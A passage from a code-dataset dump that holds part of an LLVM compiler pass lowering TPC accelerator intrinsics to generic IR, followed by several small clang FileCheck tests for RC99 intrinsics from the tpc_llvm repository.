Builder.CreateBitCast(newins, t0);\n }\n }\n else if (apint == 1) { //bfloat\n if (t0->isVectorTy()) {\n op0 = Builder.CreateBitCast(op0, Short128Type);\n newins = Builder.CreateLShr(op0, op1);\n newins = Builder.CreateBitCast(newins, t0);\n }\n else {\n op0 = Builder.CreateBitCast(op0, I16Type);\n op0 = Builder.CreateZExt(op0, I32Type);\n op1 = Builder.CreateZExt(op1, I32Type);\n newins = Builder.CreateLShr(op0, op1);\n newins = Builder.CreateTrunc(newins, I16Type);\n newins = Builder.CreateBitCast(newins, t0);\n }\n }\n }\n else {\n continue;\n }\n }\n else if (t0->isVectorTy()) {\n if (t0->getVectorNumElements() < 32) {\n // not yet for int5\n continue;\n }\n if (inid == Intrinsic::tpc_add) {\n newins = Builder.CreateAdd(op0, op1);\n }\n else if (inid == Intrinsic::tpc_sub) {\n newins = Builder.CreateSub(op0, op1);\n }\n else if (inid == Intrinsic::tpc_mul) {\n continue; // action demands ASHR, which is done in kernels\n newins = Builder.CreateMul(op0, op1);\n }\n else if (inid == Intrinsic::tpc_and) {\n newins = Builder.CreateAnd(op0, op1);\n }\n else if (inid == Intrinsic::tpc_or) {\n newins = Builder.CreateOr(op0, op1);\n }\n else if (inid == Intrinsic::tpc_xor) {\n newins = Builder.CreateXor(op0, op1);\n }\n //tpc_min,tpc_max - no expression for vectors\n /*\n tpc_cmp_eq:\n tpc_cmp_neq:\n tpc_cmp_less:\n tpc_cmp_leq:\n tpc_cmp_grt:\n tpc_cmp_geq:\n not supported for vector now\n */\n else if (inid == Intrinsic::tpc_shl) {\n op1 = Builder.CreateZExt(op1, t0);\n newins = Builder.CreateShl(op0, op1);\n }\n else if (inid == Intrinsic::tpc_shr) {\n op1 = Builder.CreateZExt(op1, t0);\n newins = Builder.CreateLShr(op0, op1);\n }\n else {\n continue;\n }\n }\n else if (t0->isIntegerTy()) {\n // 2 signed, 3-unsigned, 7- short, 8-unsigned short\n // 4 char, 5 - unsigned char\n if (apint != 2 && apint != 3 && apint != 7 &&\n apint != 8 && apint != 4 && apint != 5) {\n continue;\n }\n if (apint == 3) { // unsigned\n if (inid == Intrinsic::tpc_add) {\n newins = Builder.CreateAdd(op0, op1);\n }\n else if (inid == Intrinsic::tpc_sub) {\n newins = Builder.CreateSub(op0, op1);\n }\n else if (inid == Intrinsic::tpc_mul) {\n if (I32Type != income_type) {\n continue;\n }\n newins = Builder.CreateMul(op0, op1);\n }\n else if (inid == Intrinsic::tpc_and) {\n newins = Builder.CreateAnd(op0, op1);\n }\n else if (inid == Intrinsic::tpc_or) {\n newins = Builder.CreateOr(op0, op1);\n }\n else if (inid == Intrinsic::tpc_xor) {\n newins = Builder.CreateXor(op0, op1);\n }\n else if (inid == Intrinsic::tpc_min && EnableTPCTransformIntrinMinMax) {\n newins = Builder.CreateSelect(Builder.CreateICmpULT(op0, op1), op0, op1);\n }\n else if (inid == Intrinsic::tpc_max && EnableTPCTransformIntrinMinMax) {\n newins = Builder.CreateSelect(Builder.CreateICmpUGT(op0, op1), op0, op1);\n }\n else if (inid == Intrinsic::tpc_cmp_eq && EnableTPCTransformIntrinCmp) {\n newins = Builder.CreateICmpEQ(op0, op1);\n }\n else if (inid == Intrinsic::tpc_cmp_neq && EnableTPCTransformIntrinCmp) {\n newins = Builder.CreateICmpNE(op0, op1);\n }\n else if (inid == Intrinsic::tpc_cmp_less && EnableTPCTransformIntrinCmp) {\n newins = Builder.CreateICmpULT(op0, op1);\n }\n else if (inid == Intrinsic::tpc_cmp_leq && EnableTPCTransformIntrinCmp) {\n newins = Builder.CreateICmpULE(op0, op1);\n }\n else if (inid == Intrinsic::tpc_cmp_grt && EnableTPCTransformIntrinCmp) {\n newins = Builder.CreateICmpUGT(op0, op1);\n }\n else if (inid == Intrinsic::tpc_cmp_geq && EnableTPCTransformIntrinCmp) {\n newins = Builder.CreateICmpUGE(op0, op1);\n }\n else if (inid == Intrinsic::tpc_shl) {\n op1 = Builder.CreateZExt(op1, t0);\n newins = Builder.CreateShl(op0, op1);\n }\n else if (inid == Intrinsic::tpc_shr) {\n op1 = Builder.CreateZExt(op1, t0);\n newins = Builder.CreateLShr(op0, op1);\n }\n else {\n continue;\n }\n }\n else if (apint == 2) { //signed\n if (inid == Intrinsic::tpc_add) {\n newins = Builder.CreateNSWAdd(op0, op1);\n }\n else if (inid == Intrinsic::tpc_sub) {\n newins = Builder.CreateNSWSub(op0, op1);\n }\n else if (inid == Intrinsic::tpc_mul) {\n if (I32Type != income_type) {\n continue;\n }\n newins = Builder.CreateNSWMul(op0, op1);\n }\n else if (inid == Intrinsic::tpc_and) {\n newins = Builder.CreateAnd(op0, op1);\n }\n else if (inid == Intrinsic::tpc_or) {\n newins = Builder.CreateOr(op0, op1);\n }\n else if (inid == Intrinsic::tpc_xor) {\n newins = Builder.CreateXor(op0, op1);\n }\n else if (inid == Intrinsic::tpc_min && EnableTPCTransformIntrinMinMax) {\n newins = Builder.CreateSelect(Builder.CreateICmpSLT(op0, op1), op0, op1);\n }\n else if (inid == Intrinsic::tpc_max && EnableTPCTransformIntrinMinMax) {\n newins = Builder.CreateSelect(Builder.CreateICmpSGT(op0, op1), op0, op1);\n }\n // if use of cmp is outside BB, it moves on CodeGenPrepare\n // into use block, so we skip transfo to avoid perf regression\n // Issue is fixed now by tuning by HasMultipleConditionRegisters (TPCSelLowering.cpp)\n else if (inid == Intrinsic::tpc_cmp_eq && EnableTPCTransformIntrinCmp) {\n newins = Builder.CreateICmpEQ(op0, op1);\n }\n else if (inid == Intrinsic::tpc_cmp_neq && EnableTPCTransformIntrinCmp) {\n newins = Builder.CreateICmpNE(op0, op1);\n }\n else if (inid == Intrinsic::tpc_cmp_less && EnableTPCTransformIntrinCmp) {\n newins = Builder.CreateICmpSLT(op0, op1);\n }\n else if (inid == Intrinsic::tpc_cmp_leq && EnableTPCTransformIntrinCmp) {\n newins = Builder.CreateICmpSLE(op0, op1);\n }\n else if (inid == Intrinsic::tpc_cmp_grt && EnableTPCTransformIntrinCmp) {\n newins = Builder.CreateICmpSGT(op0, op1);\n }\n else if (inid == Intrinsic::tpc_cmp_geq && EnableTPCTransformIntrinCmp) {\n newins = Builder.CreateICmpSGE(op0, op1);\n }\n else if (inid == Intrinsic::tpc_shl) {\n op1 = Builder.CreateZExt(op1, t0);\n newins = Builder.CreateShl(op0, op1);\n }\n else if (inid == Intrinsic::tpc_shr) {\n op1 = Builder.CreateZExt(op1, t0);\n newins = Builder.CreateLShr(op0, op1);\n }\n else {\n continue;\n }\n }\n else if (apint == 7) { // short int\n if (inid != Intrinsic::tpc_shr)\n op0 = Builder.CreateSExt(op0, I32Type);\n op1 = Builder.CreateSExt(op1, I32Type);\n if (inid == Intrinsic::tpc_add) {\n newins = Builder.CreateNSWAdd(op0, op1);\n newins = Builder.CreateTrunc(newins, I16Type);\n }\n else if (inid == Intrinsic::tpc_sub) {\n newins = Builder.CreateNSWSub(op0, op1);\n newins = Builder.CreateTrunc(newins, I16Type);\n }\n else if (inid == Intrinsic::tpc_mul) {\n if (I32Type != income_type) {\n continue;\n } \n newins = Builder.CreateNSWMul(op0, op1);\n }\n else if (inid == Intrinsic::tpc_and) {\n newins = Builder.CreateAnd(op0, op1);\n newins = Builder.CreateTrunc(newins, I16Type);\n }\n else if (inid == Intrinsic::tpc_or) {\n newins = Builder.CreateOr(op0, op1);\n newins = Builder.CreateTrunc(newins, I16Type);\n }\n else if (inid == Intrinsic::tpc_xor) {\n newins = Builder.CreateXor(op0, op1);\n newins = Builder.CreateTrunc(newins, I16Type);\n }\n else if (inid == Intrinsic::tpc_min && EnableTPCTransformIntrinMinMax) {\n newins = Builder.CreateSelect(Builder.CreateICmpSLT(op0, op1), op0, op1);\n newins = Builder.CreateTrunc(newins, I16Type);\n }\n else if (inid == Intrinsic::tpc_max && EnableTPCTransformIntrinMinMax) {\n newins = Builder.CreateSelect(Builder.CreateICmpSGT(op0, op1), op0, op1);\n newins = Builder.CreateTrunc(newins, I16Type);\n }\n else if (inid == Intrinsic::tpc_cmp_eq && EnableTPCTransformIntrinCmp) {\n newins = Builder.CreateICmpEQ(op0, op1);\n }\n else if (inid == Intrinsic::tpc_cmp_neq && EnableTPCTransformIntrinCmp) {\n newins = Builder.CreateICmpNE(op0, op1);\n }\n else if (inid == Intrinsic::tpc_cmp_less && EnableTPCTransformIntrinCmp) {\n newins = Builder.CreateICmpSLT(op0, op1);\n }\n else if (inid == Intrinsic::tpc_cmp_leq && EnableTPCTransformIntrinCmp) {\n newins = Builder.CreateICmpSLE(op0, op1);\n }\n else if (inid == Intrinsic::tpc_cmp_grt && EnableTPCTransformIntrinCmp) {\n newins = Builder.CreateICmpSGT(op0, op1);\n }\n else if (inid == Intrinsic::tpc_cmp_geq && EnableTPCTransformIntrinCmp) {\n newins = Builder.CreateICmpSGE(op0, op1);\n }\n else if (inid == Intrinsic::tpc_shl) {\n //continue; //cant process due to any_extend\n newins = Builder.CreateShl(op0, op1);\n newins = Builder.CreateTrunc(newins, t0);\n }\n else if (inid == Intrinsic::tpc_shr) {\n //op0 = Builder.CreateAnd(op0, 0xFFFF);\n op0 = Builder.CreateZExt(op0, I32Type);\n newins = Builder.CreateLShr(op0, op1);\n newins = Builder.CreateTrunc(newins, t0);\n }\n else {\n continue;\n }\n }\n else if (apint == 8) { // unsigned short int\n op0 = Builder.CreateZExt(op0, I32Type);\n op1 = Builder.CreateZExt(op1, I32Type);\n if (inid == Intrinsic::tpc_add) {\n newins = Builder.CreateNSWAdd(op0, op1);\n newins = Builder.CreateTrunc(newins, I16Type);\n }\n else if (inid == Intrinsic::tpc_sub) {\n newins = Builder.CreateNSWSub(op0, op1);\n newins = Builder.CreateTrunc(newins, I16Type);\n }\n else if (inid == Intrinsic::tpc_mul) {\n if (I32Type != income_type) { // for mul may it is type of result\n continue; // not supported if is other type\n }\n newins = Builder.CreateNSWMul(op0, op1);\n }\n else if (inid == Intrinsic::tpc_and) {\n newins = Builder.CreateAnd(op0, op1);\n newins = Builder.CreateTrunc(newins, I16Type);\n }\n else if (inid == Intrinsic::tpc_or) {\n newins = Builder.CreateOr(op0, op1);\n newins = Builder.CreateTrunc(newins, I16Type);\n }\n else if (inid == Intrinsic::tpc_xor) {\n newins = Builder.CreateXor(op0, op1);\n newins = Builder.CreateTrunc(newins, I16Type);\n }\n else if (inid == Intrinsic::tpc_min && EnableTPCTransformIntrinMinMax) {\n newins = Builder.CreateSelect(Builder.CreateICmpULT(op0, op1), op0, op1);\n newins = Builder.CreateTrunc(newins, I16Type);\n }\n else if (inid == Intrinsic::tpc_max && EnableTPCTransformIntrinMinMax) {\n newins = Builder.CreateSelect(Builder.CreateICmpUGT(op0, op1), op0, op1);\n newins = Builder.CreateTrunc(newins, I16Type);\n }\n else if (inid == Intrinsic::tpc_cmp_eq && EnableTPCTransformIntrinCmp) {\n newins = Builder.CreateICmpEQ(op0, op1);\n }\n else if (inid == Intrinsic::tpc_cmp_neq && EnableTPCTransformIntrinCmp) {\n newins = Builder.CreateICmpNE(op0, op1);\n }\n else if (inid == Intrinsic::tpc_cmp_less && EnableTPCTransformIntrinCmp) {\n newins = Builder.CreateICmpSLT(op0, op1);\n }\n else if (inid == Intrinsic::tpc_cmp_leq && EnableTPCTransformIntrinCmp) {\n newins = Builder.CreateICmpSLE(op0, op1);\n }\n else if (inid == Intrinsic::tpc_cmp_grt && EnableTPCTransformIntrinCmp) {\n newins = Builder.CreateICmpSGT(op0, op1);\n }\n else if (inid == Intrinsic::tpc_cmp_geq && EnableTPCTransformIntrinCmp) {\n newins = Builder.CreateICmpSGE(op0, op1);\n }\n else if (inid == Intrinsic::tpc_shl) {\n newins = Builder.CreateShl(op0, op1);\n newins = Builder.CreateTrunc(newins, t0);\n }\n else if (inid == Intrinsic::tpc_shr) {\n newins = Builder.CreateLShr(op0, op1);\n newins = Builder.CreateTrunc(newins, t0);\n }\n else {\n continue;\n }\n }\n else if (apint == 4) { // char\n if (inid != Intrinsic::tpc_shr)\n op0 = Builder.CreateSExt(op0, I32Type);\n op1 = Builder.CreateSExt(op1, I32Type);\n if (inid == Intrinsic::tpc_add) {\n newins = Builder.CreateNSWAdd(op0, op1);\n newins = Builder.CreateTrunc(newins, I8Type);\n }\n else if (inid == Intrinsic::tpc_sub) {\n newins = Builder.CreateNSWSub(op0, op1);\n newins = Builder.CreateTrunc(newins, I8Type);\n }\n else if (inid == Intrinsic::tpc_mul) {\n if (I32Type != income_type) {\n continue;\n }\n newins = Builder.CreateNSWMul(op0, op1);\n }\n else if (inid == Intrinsic::tpc_and) {\n newins = Builder.CreateAnd(op0, op1);\n newins = Builder.CreateTrunc(newins, I8Type);\n }\n else if (inid == Intrinsic::tpc_or) {\n newins = Builder.CreateOr(op0, op1);\n newins = Builder.CreateTrunc(newins, I8Type);\n }\n else if (inid == Intrinsic::tpc_xor) {\n newins = Builder.CreateXor(op0, op1);\n newins = Builder.CreateTrunc(newins, I8Type);\n }\n else if (inid == Intrinsic::tpc_min && EnableTPCTransformIntrinMinMax) {\n newins = Builder.CreateSelect(Builder.CreateICmpSLT(op0, op1), op0, op1);\n newins = Builder.CreateTrunc(newins, I8Type);\n }\n else if (inid == Intrinsic::tpc_max && EnableTPCTransformIntrinMinMax) {\n newins = Builder.CreateSelect(Builder.CreateICmpSGT(op0, op1), op0, op1);\n newins = Builder.CreateTrunc(newins, I8Type);\n }\n else if (inid == Intrinsic::tpc_cmp_eq && EnableTPCTransformIntrinCmp) {\n newins = Builder.CreateICmpEQ(op0, op1);\n }\n else if (inid == Intrinsic::tpc_cmp_neq && EnableTPCTransformIntrinCmp) {\n newins = Builder.CreateICmpNE(op0, op1);\n }\n else if (inid == Intrinsic::tpc_cmp_less && EnableTPCTransformIntrinCmp) {\n newins = Builder.CreateICmpSLT(op0, op1);\n }\n else if (inid == Intrinsic::tpc_cmp_leq && EnableTPCTransformIntrinCmp) {\n newins = Builder.CreateICmpSLE(op0, op1);\n }\n else if (inid == Intrinsic::tpc_cmp_grt && EnableTPCTransformIntrinCmp) {\n newins = Builder.CreateICmpSGT(op0, op1);\n }\n else if (inid == Intrinsic::tpc_cmp_geq && EnableTPCTransformIntrinCmp) {\n newins = Builder.CreateICmpSGE(op0, op1);\n }\n else if (inid == Intrinsic::tpc_shl) {\n newins = Builder.CreateShl(op0, op1);\n newins = Builder.CreateTrunc(newins, t0);\n }\n else if (inid == Intrinsic::tpc_shr) {\n op0 = Builder.CreateZExt(op0, I32Type);\n newins = Builder.CreateLShr(op0, op1);\n newins = Builder.CreateTrunc(newins, t0);\n }\n else {\n continue;\n }\n }\n else if (apint == 5) { //unsigned char\n op0 = Builder.CreateZExt(op0, I32Type);\n op1 = Builder.CreateZExt(op1, I32Type);\n if (inid == Intrinsic::tpc_add) {\n newins = Builder.CreateNSWAdd(op0, op1);\n newins = Builder.CreateTrunc(newins, I8Type);\n }\n else if (inid == Intrinsic::tpc_sub) {\n newins = Builder.CreateNSWSub(op0, op1);\n newins = Builder.CreateTrunc(newins, I8Type);\n }\n else if (inid == Intrinsic::tpc_mul) {\n if (I32Type != income_type) {\n continue;\n }\n newins = Builder.CreateNSWMul(op0, op1);\n }\n else if (inid == Intrinsic::tpc_and) {\n newins = Builder.CreateAnd(op0, op1);\n newins = Builder.CreateTrunc(newins, I8Type);\n }\n else if (inid == Intrinsic::tpc_or) {\n newins = Builder.CreateOr(op0, op1);\n newins = Builder.CreateTrunc(newins, I8Type);\n }\n else if (inid == Intrinsic::tpc_xor) {\n newins = Builder.CreateXor(op0, op1);\n newins = Builder.CreateTrunc(newins, I8Type);\n }\n else if (inid == Intrinsic::tpc_min && EnableTPCTransformIntrinMinMax) {\n newins = Builder.CreateSelect(Builder.CreateICmpULT(op0, op1), op0, op1);\n newins = Builder.CreateTrunc(newins, I8Type);\n }\n else if (inid == Intrinsic::tpc_max && EnableTPCTransformIntrinMinMax) {\n newins = Builder.CreateSelect(Builder.CreateICmpUGT(op0, op1), op0, op1);\n newins = Builder.CreateTrunc(newins, I8Type);\n }\n else if (inid == Intrinsic::tpc_cmp_eq && EnableTPCTransformIntrinCmp) {\n newins = Builder.CreateICmpEQ(op0, op1);\n }\n else if (inid == Intrinsic::tpc_cmp_neq && EnableTPCTransformIntrinCmp) {\n newins = Builder.CreateICmpNE(op0, op1);\n }\n else if (inid == Intrinsic::tpc_cmp_less && EnableTPCTransformIntrinCmp) {\n newins = Builder.CreateICmpSLT(op0, op1);\n }\n else if (inid == Intrinsic::tpc_cmp_leq && EnableTPCTransformIntrinCmp) {\n newins = Builder.CreateICmpSLE(op0, op1);\n }\n else if (inid == Intrinsic::tpc_cmp_grt && EnableTPCTransformIntrinCmp) {\n newins = Builder.CreateICmpSGT(op0, op1);\n }\n else if (inid == Intrinsic::tpc_cmp_geq && EnableTPCTransformIntrinCmp) {\n newins = Builder.CreateICmpSGE(op0, op1);\n }\n else if (inid == Intrinsic::tpc_shl) {\n newins = Builder.CreateShl(op0, op1);\n newins = Builder.CreateTrunc(newins, t0);\n }\n else if (inid == Intrinsic::tpc_shr) {\n newins = Builder.CreateLShr(op0, op1);\n newins = Builder.CreateTrunc(newins, t0);\n }\n else {\n continue;\n }\n }\n else {\n continue;\n }\n }\n I.replaceAllUsesWith(newins);\n I.eraseFromParent();\n NumTransformed++;\n }\n }\n break;\n // unary operations\n case Intrinsic::tpc_popcnt:\n //case Intrinsic::tpc_find_first:\n case Intrinsic::tpc_not:\n case Intrinsic::tpc_abs:\n {\n if (no != 7) {\n continue;\n }\n Value* newins;\n auto op5 = intrins->getOperand(5);\n auto op4 = intrins->getOperand(4);\n auto op3 = intrins->getOperand(3);\n auto op2 = intrins->getOperand(2);\n auto op1 = intrins->getOperand(1);\n auto op0 = intrins->getOperand(0);\n\n Constant* cv = dyn_cast<Constant>(op5);\n if (!cv) { continue; }\n if (cv->getType() != I1Type) {\n continue;\n }\n APInt apint = cv->getUniqueInteger();\n if (apint != 0) {\n // polarity must be zero\n continue;\n }\n // predicate must be true\n cv = dyn_cast<Constant>(op4);\n if (!cv) { continue; }\n if (cv->getType() != I1Type) {\n continue;\n }\n apint = cv->getUniqueInteger();\n if (apint != 1) {\n continue;\n }\n // op3 : need to look type\n Type* income_type = op3->getType();\n\n // op2: count type for popcnt \n cv = dyn_cast<Constant>(op2);\n if (!cv) { continue; }\n if (cv->getType() != I32Type) {\n continue;\n }\n apint = cv->getUniqueInteger(); //count type for pop 0,1\n APInt val2 = apint;\n\n if (op1->getType() != I8Type) continue;\n cv = dyn_cast<Constant>(op1);\n if (!cv) { continue; }\n apint = cv->getUniqueInteger();\n // 2 - int, 3 - unsigned, 7,8-(u)short 4,5-(u)char\n // 0 - float 1-bfloat 6-bool\n // printf(\"apint=%d\\n\", apint);\n if (apint != 2 && apint != 3 && apint != 7 && apint != 8 && apint != 4 && apint != 5\n && apint != 0 && apint != 1 && apint != 6\n ) {\n continue;\n }\n {\n Type* t0 = op0->getType();\n Value *ExtF;\n if (inid == Intrinsic::tpc_popcnt) {\n if (income_type != I8Type &&\n !(income_type->isVectorTy() &&\n cast<VectorType>(income_type)->getNumElements() == 256 &&\n cast<VectorType>(income_type)->getElementType() == I8Type)\n ) {\n continue;\n }\n VectorType* vt = dyn_cast<VectorType>(t0);\n if (vt && vt->getElementType() != I8Type) {\n // not able transfor <64xi32>,<128xi16> into uchar256\n continue;\n }\n if (apint == 0) {\n op0 = Builder.CreateBitCast(op0, I32Type);\n }\n else if (apint == 1) {\n op0 = Builder.CreateBitCast(op0, I16Type);\n }\n if (val2 != 1) { //ctpop counts only 1\n continue;\n }\n ExtF = Intrinsic::getDeclaration(F->getParent(), Intrinsic::ctpop, op0->getType());\n newins = Builder.CreateCall(ExtF, { op0 });\n newins = Builder.CreateTrunc(newins, income_type);\n }\n else if (inid == Intrinsic::tpc_find_first) {\n if (income_type != I8Type &&\n !(income_type->isVectorTy() &&\n cast<VectorType>(income_type)->getNumElements() == 256 &&\n cast<VectorType>(income_type)->getElementType() == I8Type)\n ) {\n continue;\n }\n VectorType* vt = dyn_cast<VectorType>(t0);\n if (vt && vt->getElementType() != I8Type) {\n // not able transfor <64xi32>,<128xi16> into uchar256\n continue;\n }\n if (apint == 0) {\n op0 = Builder.CreateBitCast(op0, I32Type);\n }\n else if (apint == 1) {\n op0 = Builder.CreateBitCast(op0, I16Type);\n }\n if (val2 != 1 && val2 != 3) { //ctlz,cttz counts only 1\n continue;\n }\n // 3 means cttz \n ExtF = Intrinsic::getDeclaration(F->getParent(),\n (val2 == 3) ? Intrinsic::cttz : Intrinsic::ctlz, op0->getType());\n Value* uv;// = Constant::getNullValue(I1Type);\n // with null value Codegen Prepare transform code into branches\n // and trunc proves separated from ctlz and pattern cant be selected\n uv = Constant::getAllOnesValue(I1Type);\n newins = Builder.CreateCall(ExtF, { op0, uv });\n newins = Builder.CreateTrunc(newins, income_type);\n }\n else if (inid == Intrinsic::tpc_not) {\n if (income_type != t0) {\n continue;\n }\n if (apint == 0) {\n if (t0->isVectorTy()) {\n op0 = Builder.CreateBitCast(op0, Int64Type);\n }\n else {\n op0 = Builder.CreateBitCast(op0, I32Type);\n }\n newins = Builder.CreateNot(op0);\n newins = Builder.CreateBitCast(newins, income_type);\n }\n else if (apint == 1) {\n if (t0->isVectorTy()) {\n op0 = Builder.CreateBitCast(op0, Short128Type);\n }\n else {\n op0 = Builder.CreateBitCast(op0, I16Type);\n }\n newins = Builder.CreateNot(op0);\n newins = Builder.CreateBitCast(newins, income_type);\n }\n else {\n newins = Builder.CreateNot(op0);\n }\n }\n else if (inid == Intrinsic::tpc_abs) {\n Value *ExtF;\n if (apint == 0) { //float \n ExtF = Intrinsic::getDeclaration(F->getParent(), Intrinsic::fabs, op0->getType());\n newins = Builder.CreateCall(ExtF, { op0 });\n }\n else if (apint == 1) { //bfloat\n // no llvm intrinsic for this type\n // lets try to cut\n if (t0->isVectorTy()) {\n continue; //cut will not be effective due to broadcasting constant\n }\n else {\n newins = Builder.CreateBitCast(op0, I16Type);\n newins = Builder.CreateAnd(newins, ConstantInt::get(I16Type, 0x7fff));\n newins = Builder.CreateBitCast(newins, F16Type);\n }\n }\n else { // int types\n if (t0->isVectorTy()) {\n // vector int ABS is not supported until vector select will be implemented (as MAX/MIN)\n continue;\n }\n else {\n Value*zer = ConstantInt::get(I32Type, 0);\n op0 = Builder.CreateSExt(op0, I32Type);\n Value*zersub = Builder.CreateSub(zer, op0);\n Value* icmp = Builder.CreateICmpSLT(op0, zer);\n newins = Builder.CreateSelect(icmp, zersub, op0);\n newins = Builder.CreateTrunc(newins, t0);\n }\n }\n }\n /*else if (inid == Intrinsic::tpc_mov) {\n mov intrinsics are not ready yet\n }*/\n else {\n continue;\n }\n }\n I.replaceAllUsesWith(newins);\n I.eraseFromParent();\n NumTransformed++;\n }\n break;\n default: break;\n }\n } //IntrinsicInst\n } //Instruction loop\n } // BB loop\n return NumTransformed > 0;\n}\n#endif // LLVM_TPC_COMPILER\n" }, { "alpha_fraction": 0.43969297409057617, "alphanum_fraction": 0.5252193212509155, "avg_line_length": 31.571428298950195, "blob_id": "6bc2ea4254f2f5d4de1d5362e795152692c607f0", "content_id": "ec00589f91bbfda33dbc4e907e618cc4a6784c4d", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 912, "license_type": "permissive", "max_line_length": 106, "num_lines": 28, "path": "/clang/test/RC99/Intrinsics/s_u16_mac.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\n\nvoid main(unsigned short x0, unsigned short x1, int dest, _Bool pred) {\n unsigned __local *dptr = (unsigned __local *)dest;\n unsigned res = 0;\n\n res = s_u16_mac_s_s(x0, x1, res, 1);\n *dptr++ = res;\n // CHECK: mac.u16 st %S{{[0-9]+}}, %S0, %S1, %SP0\n\n res = s_u16_mac_s_s(x0, 1, res, 1);\n *dptr++ = res;\n // CHECK: mac.u16 st %S{{[0-9]+}}, %S0, 0x1, %SP0\n\n res = s_u16_mac_s_s(x0, 1, res, 0);\n *dptr++ = res;\n // CHECK: mac.u16 %S{{[0-9]+}}, %S0, 0x1, %SP0\n\n res = s_u16_mac_s_s_b(x0, x1, res, 1, pred, 0);\n *dptr++ = res;\n // CHECK: mac.u16 st %S{{[0-9]+}}, %S0, %S1, %SP{{[0-9]+}}\n\n res = s_u16_mac_s_s_b(x0, 2, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.u16 %S{{[0-9]+}}, %S0, 0x2, %SP{{[0-9]+}}\n}\n" }, { "alpha_fraction": 0.5212947130203247, "alphanum_fraction": 0.6490630507469177, "avg_line_length": 47.91666793823242, "blob_id": "4ec4c96f6524223f74c75f5304136ffcd98119a7", "content_id": "d117290518b4a83fabd49f85a7270baddb675cd3", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 587, "license_type": "permissive", "max_line_length": 146, "num_lines": 12, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_bfloat256_to_int256.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK-IR %s\n\nvoid main(int src, int dest) {\n bfloat256 *sptr = (bfloat256 *)src;\n int256 *dptr = (int256 *)dest;\n bfloat256 src_val = *sptr;\n *dptr++ = convert_bfloat256_to_int256(src_val, SW_RZ);\n *dptr = convert_bfloat256_to_int256(src_val, SW_RD);\n}\n\n// CHECK-IR: fptosi <256 x bfloat> {{.*}} to <256 x i32>\n// CHECK-IR: call <256 x i32> @llvm.tpc.convert.v256i32.v256bf16.i1(<256 x bfloat> {{.*}}, i8 1, i32 197120, <256 x i32> undef, i1 true, i1 false)\n" }, { "alpha_fraction": 0.5445665717124939, "alphanum_fraction": 0.5909646153450012, "avg_line_length": 30.461538314819336, "blob_id": "0f77ea83d63f5b22c0b7037bbaef7477b8de291c", "content_id": "d60ecb6011a186c9b8bb478bc4a4184fdb63d476", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 819, "license_type": "permissive", "max_line_length": 78, "num_lines": 26, "path": "/clang/test/RC99/Intrinsics/s_convert_i32_to_u8.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n\n\nvoid main(unsigned int dest, int x, _Bool pred) {\n volatile unsigned char __local *dest_ptr = (unsigned char __local *)dest;\n unsigned char income = *dest_ptr;\n\n// CHECK: mov{{.*}} [[PRED:%SP[0-9]+]], %S2\n// CHECK: ld_l [[DEST:%S[0-9]+]], %S0\n\n // s_convert_i32_to_u8\n unsigned char res = income;\n \n res = s_convert_i32_to_u8(x, 0, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert.i32 target_type=uint8 rhne [[DEST]], %S1, [[PRED]]\n \n res = s_convert_i32_to_u8(x, 0, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert.i32 target_type=uint8 rhne [[DEST]], %S1, [[PRED]]\n \n res = s_convert_i32_to_u8(x, SW_RHNE, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert.i32 target_type=uint8 rhne [[DEST]], %S1, [[PRED]]\n\n}\n\n" }, { "alpha_fraction": 0.5677083134651184, "alphanum_fraction": 0.6354166865348816, "avg_line_length": 47.08333206176758, "blob_id": "8a22a6cfde6b29aab1d7aab2faa62caee192c524", "content_id": "8bae5a82194c1eda23a25b1cfad052f23599ff5d", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 576, "license_type": "permissive", "max_line_length": 117, "num_lines": 12, "path": "/clang/test/RC99/main/main-15.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -triple tpc-none-none -std=rc99 -emit-llvm -O1 -main-function main_entry %s -o - | FileCheck %s\n\nvoid main_entry(int dest, tensor t0, float arg2, tensor t1, tensor t2) {\n *(int volatile __local *)dest = t0;\n *(int volatile __local *)dest = t1;\n *(int volatile __local *)dest = t2;\n}\n\n// CHECK: define void @main_entry(i32 %dest, float %arg2) local_unnamed_addr #0 {\n// CHECK: store volatile i32 0, i32 addrspace(1)* %{{[0-9+]}}\n// CHECK: store volatile i32 1, i32 addrspace(1)* %{{[0-9+]}}\n// CHECK: store volatile i32 2, i32 addrspace(1)* %{{[0-9+]}}" }, { "alpha_fraction": 0.5590406060218811, "alphanum_fraction": 0.5811808109283447, "avg_line_length": 30.941177368164062, "blob_id": "603ddf3aeb4f7387d440928962a687ea09bff32d", "content_id": "a898585043881a1e1b102caf9679adef3960f364", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 542, "license_type": "permissive", "max_line_length": 96, "num_lines": 17, "path": "/clang/test/RC99/restrictions/gptr-06.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -verify %s\n// XFAIL: *\n\n// This is an example, that CANNOT be compiled due to absence of ADRF moves.\nvoid main(int dest, tensor in) {\n int5 